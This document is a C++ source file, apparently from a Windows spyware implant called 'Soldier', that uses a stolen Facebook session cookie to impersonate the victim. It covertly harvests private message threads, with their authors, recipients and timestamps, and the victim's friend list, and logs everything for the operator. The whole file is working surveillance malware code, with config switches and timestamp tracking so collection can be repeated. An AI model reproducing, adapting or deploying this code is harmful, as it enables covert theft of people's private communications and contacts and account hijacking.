Soldier/facebook.cpp
#include <Windows.h>
#include <stdio.h>
#include <time.h>
#include "debug.h"
#include "zmem.h"
#include "utils.h"
#include "social.h"
#include "facebook.h"
#include "JSON.h"
#include "conf.h"
LPSTR FacebookGetUserId(LPSTR strBuffer)
{
LPSTR strParser = strstr(strBuffer, FB_USER_ID);
if (!strParser)
return NULL;
strParser += strlen(FB_USER_ID);
if (strchr(strParser, '"'))
*(strchr(strParser, '"')) = 0;
else
return NULL;
return strParser;
}
LPSTR FacebookGetScreenName(LPSTR strBuffer, LPSTR strUserId)
{
CHAR strScreenNameTag[256] = { 0x0 };
_snprintf_s(strScreenNameTag, 255, _TRUNCATE, FB_MESSAGE_SCREEN_NAME_ID, strUserId);
LPSTR strParser = strstr(strBuffer, strScreenNameTag);
if (!strParser)
return NULL;
strParser += strlen(strScreenNameTag);
if (strchr(strParser, '"'))
*(strchr(strParser, '"')) = 0;
else
return NULL;
if (strlen(strParser))
return strParser;
else
return "Target";
}
BOOL FacebookGetUserInfo(LPSTR strCookie, LPSTR *strUserId, LPSTR *strScreenName)
{
LPSTR strRecvBuffer=NULL, strParser=NULL;
DWORD dwRet, dwBufferSize;
*strUserId = *strScreenName = NULL;
dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", L"/home.php?", 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie); // FIXME array
if (dwRet != SOCIAL_REQUEST_SUCCESS)
return FALSE;
// search for user id
*strUserId = FacebookGetUserId(strRecvBuffer);
if (!*strUserId || !strcmp(*strUserId, "0"))
{
zfree(strRecvBuffer);
return FALSE;
}
// search for screen name
strParser = *strUserId + strlen(*strUserId) + 1;
*strScreenName = FacebookGetScreenName(strParser, *strUserId);
// we're done with this request, copy buffers and frees it
*strUserId = _strdup(*strUserId);
*strScreenName = _strdup(*strScreenName);
zfree(strRecvBuffer);
return TRUE;
}
BOOL FacebookParseThreads(LPSTR strCookie, LPSTR strUserId, LPSTR strScreenName, DWORD dwLastTS)
{
BOOL bIncoming;
WCHAR strUrl[256];
CHAR strThreadId[512];
CHAR strPeersId[256];
CHAR strPeers[512];
CHAR strAuthor[256];
CHAR strAuthorId[256];
DWORD dwRet, dwBufferSize;
LPSTR strRecvBuffer=NULL, strRecvBuffer2=NULL, strParser1, strParser2, strInnerParser1, strInnerParser2;
LPSTR strMsgBody = NULL;
dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", L"/messages/", 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie); //FIXME: array
if (dwRet != SOCIAL_REQUEST_SUCCESS)
return FALSE;
strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_END);
if (!strParser1)
{
zfree(strRecvBuffer);
return NULL;
}
*strParser1 = 0; // fine lista
strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_ID);
if (!strParser1)
{
zfree(strRecvBuffer);
return FALSE;
}
for (;;)
{
// get thread status and skip if unread
strParser2 = strstr(strParser1, FB_THREAD_STATUS_IDENTIFIER_V2);
if (strParser2)
{
strParser2 += strlen(FB_THREAD_STATUS_IDENTIFIER_V2);
if (*strParser2 != '0') // unread
{
strParser1 = strParser2;
continue;
}
}
else
break;
strParser1 = strstr(strParser1, FB_THREAD_IDENTIFIER_V2);
if (!strParser1)
break;
strParser1 += strlen(FB_THREAD_IDENTIFIER_V2);
strParser2 = strchr(strParser1, '"');
if (!strParser2)
break;
*strParser2 = 0;
SecureZeroMemory(strUrl, 256);
SecureZeroMemory(strThreadId, 512);
strcpy_s(strThreadId, 512, strParser1);
URLDecode(strThreadId);
_snwprintf_s(strUrl, sizeof(strUrl)/sizeof(WCHAR), _TRUNCATE, L"/ajax/messaging/async.php?sk=inbox&action=read&tid=%S&__a=1&msgs_only=1", strThreadId); //FIXME: array
strParser1 = strParser2 + 1;
// cerca id partecipanti
BOOL bAmIPresent = FALSE;
SecureZeroMemory(strPeersId, sizeof(strPeersId));
for (;;)
{
strParser2 = strstr(strParser1, FB_PEER_ID_IDENTIFIER);
if (!strParser2)
break;
strParser1 = strParser2 + strlen(FB_PEER_ID_IDENTIFIER);
strParser2 = strchr(strParser1, '"');
if (!strParser2)
break;
*strParser2 = 0;
if (!strcmp(strParser1, strUserId))
bAmIPresent = TRUE;
if (strlen(strPeersId) == 0)
_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s", strParser1);
else
_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strParser1);
strParser1 = strParser2 + 1;
if (*strParser1 == ']')
break;
}
if (!bAmIPresent)
_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strUserId);
// controlla timestamp
strParser1 = strstr(strParser1, FB_MESSAGE_TSTAMP_IDENTIFIER_V2);
if (!strParser1)
break;
strParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER_V2);
DWORD dwCurrTS;
CHAR strTimeStamp[11];
SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp));
memcpy(strTimeStamp, strParser1, 10);
dwCurrTS = atoi(strTimeStamp);
if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS)
continue;
// salva timestamp se piu' recente
SocialSetLastTimestamp(strUserId, dwCurrTS, 0);
// get thread's messages
DWORD dwBuffSize2;
dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer2, &dwBuffSize2, strCookie); //FIXME: array
if (dwRet != SOCIAL_REQUEST_SUCCESS)
{
zfree(strRecvBuffer);
return FALSE;
}
// get peers screen name,
strInnerParser1 = strRecvBuffer2;
strInnerParser1 = strstr(strInnerParser1, FB_THREAD_AUTHOR_IDENTIFIER_V2);
if (!strInnerParser1)
{
zfree(strRecvBuffer2);
continue;
}
strInnerParser1 += strlen(FB_THREAD_AUTHOR_IDENTIFIER_V2);
strInnerParser2 = strstr(strInnerParser1, " - ");
if (!strInnerParser2)
{
zfree(strRecvBuffer2);
continue;
}
*strInnerParser2 = 0;
_snprintf_s(strPeers, sizeof(strPeers), _TRUNCATE, "%s, %s", strScreenName, strInnerParser1);
strInnerParser1 = strRecvBuffer2;
for (;;)
{
strInnerParser1 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER);
if (!strInnerParser1)
break;
strInnerParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER);
SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp));
memcpy(strTimeStamp, strInnerParser1, 10);
dwCurrTS = atoi(strTimeStamp);
if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS)
continue;
SocialSetLastTimestamp(strUserId, dwCurrTS, 0);
strInnerParser2 = strstr(strInnerParser1, FB_MESSAGE_AUTHOR_IDENTIFIER);
if (!strInnerParser2)
break;
*strInnerParser2 = 0;
strInnerParser1 = strInnerParser2;
for (;*(strInnerParser1) != '>' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
if (strInnerParser1 <= strRecvBuffer2)
break;
strInnerParser1++;
_snprintf_s(strAuthor, sizeof(strAuthor), _TRUNCATE, "%s", strInnerParser1);
strInnerParser1--;
for (;*(strInnerParser1) != '\\' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
if (strInnerParser1 <= strRecvBuffer2)
break;
*strInnerParser1 = 0;
for (;*(strInnerParser1) != '=' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
if (strInnerParser1 <= strRecvBuffer2)
break;
strInnerParser1++;
_snprintf_s(strAuthorId, sizeof(strAuthorId), _TRUNCATE, "%s", strInnerParser1);
strInnerParser1 = strInnerParser2 + 1;
if (!strcmp(strAuthorId, strUserId))
bIncoming = FALSE;
else
bIncoming = TRUE;
DWORD dwMsgPartSize, dwMsgBodySize;
dwMsgPartSize = dwMsgBodySize = 0;
zfree(strMsgBody); // questo e' NULL al primo giro, zfree se lo smazza.
for (;;)
{
LPSTR strMsgParser1, strMsgParser2;
strMsgParser1 = strstr(strInnerParser1, FB_MESSAGE_BODY_IDENTIFIER);
if (!strMsgParser1)
break;
// no moar body, parte un altro timestamp
strMsgParser2 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER);
if (strMsgParser2 && strMsgParser2<strMsgParser1)
break;
strInnerParser1 = strMsgParser1;
strInnerParser1 = strstr(strInnerParser1, "p>"); //FIXME: array
if (!strInnerParser1)
break;
strInnerParser1 += strlen("p>");
strInnerParser2 = strstr(strInnerParser1, "\\u003C\\/p>"); //FIXME: array
if (!strInnerParser2)
break;
*strInnerParser2 = 0;
DWORD dwMsgPartSize = strlen(strInnerParser1);
strMsgParser1 = (LPSTR) realloc(strMsgBody, dwMsgBodySize + dwMsgPartSize + strlen(FB_NEW_LINE) + sizeof(WCHAR));
if (!strMsgParser1)
break;
// se non e' il primo body, mette a capo
if (strMsgBody)
{
memcpy(strMsgParser1 + dwMsgBodySize, FB_NEW_LINE, strlen(FB_NEW_LINE));
dwMsgBodySize += strlen(FB_NEW_LINE);
}
strMsgBody = strMsgParser1;
memcpy(strMsgBody + dwMsgBodySize, strInnerParser1, dwMsgPartSize);
dwMsgBodySize += dwMsgPartSize;
memset(strMsgBody + dwMsgBodySize, 0x0, sizeof(WCHAR));
strInnerParser1 = strInnerParser2 + 1;
}
if (strMsgBody)
{
struct tm tstamp;
_gmtime32_s(&tstamp, (__time32_t *)&dwCurrTS);
tstamp.tm_year += 1900;
tstamp.tm_mon++;
JsonDecode(strMsgBody);
SocialLogIMMessageA(CHAT_PROGRAM_FACEBOOK, strPeers, strPeersId, strAuthor, strAuthorId, strMsgBody, &tstamp, bIncoming);
zfree(strMsgBody);
strMsgBody = NULL;
}
else
break;
}
zfree(strRecvBuffer2);
}
zfree(strRecvBuffer);
return TRUE;
}
DWORD FacebookMessageHandler(LPSTR strCookie)
{
DWORD dwLastTimeStamp;
LPSTR strUserId, strScreenName;
if (!ConfIsModuleEnabled(L"messages"))
return SOCIAL_REQUEST_SUCCESS;
// get user id and screen name
if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
return SOCIAL_REQUEST_BAD_COOKIE;
// get last timestamp
dwLastTimeStamp = SocialGetLastTimestamp(strUserId, NULL);
if (dwLastTimeStamp == SOCIAL_INVALID_TSTAMP)
return SOCIAL_REQUEST_BAD_COOKIE;
if (!FacebookParseThreads(strCookie, strUserId, strScreenName, dwLastTimeStamp))
{
zfree(strUserId);
zfree(strScreenName);
return SOCIAL_REQUEST_BAD_COOKIE;
}
zfree(strUserId);
zfree(strScreenName);
return SOCIAL_REQUEST_SUCCESS;
}
DWORD FacebookContactHandler(LPSTR strCookie)
{
LPSTR strUserId, strScreenName;
if (!ConfIsModuleEnabled(L"addressbook"))
return SOCIAL_REQUEST_SUCCESS;
// get user id and screen name
if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
return SOCIAL_REQUEST_BAD_COOKIE;
LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", strUserId, strUserId); //FIXME array
LPSTR strRecvBuffer=NULL;
DWORD dwBuffSize;
DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); // FIXME: array
if (dwRet != SOCIAL_REQUEST_SUCCESS)
{
zfree(strRecvBuffer);
zfree(strUrl);
return SOCIAL_REQUEST_NETWORK_PROBLEM;
}
LPSTR strJson = strRecvBuffer;
while (*strJson != '{' && (strJson - strRecvBuffer) < dwBuffSize)
strJson++;
JSONValue *jValue = JSON::Parse(strJson);
if (jValue != NULL && jValue->IsObject())
{
JSONObject jRoot = jValue->AsObject();
if (jRoot.find(L"payload") != jRoot.end()) //FIXME: array
{
if (jRoot[L"payload"]->IsObject())
{
JSONObject jPayload = jRoot[L"payload"]->AsObject();
if (jPayload.find(L"entries") != jPayload.end() && jPayload[L"entries"]->IsArray()) //FIXME: array
{
JSONArray jEntries = jPayload[L"entries"]->AsArray(); //FIXME: array
for (DWORD i=0; i<jEntries.size(); i++)
{
LPWSTR strUID = NULL;
LPWSTR strName = NULL;
LPWSTR strProfile = NULL;
if (!jEntries.at(i)->IsObject())
continue;
JSONObject jEntry = jEntries.at(i)->AsObject();
if (jEntry.find(L"uid") != jEntry.end() && jEntry[L"uid"]->IsNumber()) //FIXME: array
{
strUID = (LPWSTR) zalloc(1024*sizeof(WCHAR));
_snwprintf_s(strUID, 1023, _TRUNCATE, L"%.0lf", jEntry[L"uid"]->AsNumber()); //FIXME: array
}
if (jEntry.find(L"text") != jEntry.end() && jEntry[L"text"]->IsString()) //FIXME: array
{
strName = (LPWSTR) zalloc(1024*sizeof(WCHAR));
memcpy(strName, jEntry[L"text"]->AsString().c_str(), min(jEntry[L"text"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR))); //FIXME: array
}
if (jEntry.find(L"path") != jEntry.end() && jEntry[L"path"]->IsString()) //FIXME: array
{
strProfile = (LPWSTR) zalloc(1024*sizeof(WCHAR));
memcpy(strProfile, jEntry[L"path"]->AsString().c_str(), min(jEntry[L"path"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR))); //FIXME: array
}
if (strUID && strName && strProfile)
{
LPSTR strTmp = (LPSTR) zalloc(1024);
_snprintf_s(strTmp, 1024, _TRUNCATE, "%S", strUID);
DWORD dwFlags = 0;
if (!strncmp(strTmp, strUserId, strlen(strUserId)))
dwFlags = CONTACTS_MYACCOUNT;
SocialLogContactW(CONTACT_SRC_FACEBOOK, strName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, strUID, strProfile, dwFlags);
zfree(strTmp);
}
zfree(strName);
zfree(strProfile);
zfree(strUID);
}
}
}
}
}
/* cleanup */
zfree(strUserId);
zfree(strScreenName);
zfree(strRecvBuffer);
zfree(strUrl);
if (jValue)
delete jValue;
return SOCIAL_REQUEST_BAD_COOKIE;
}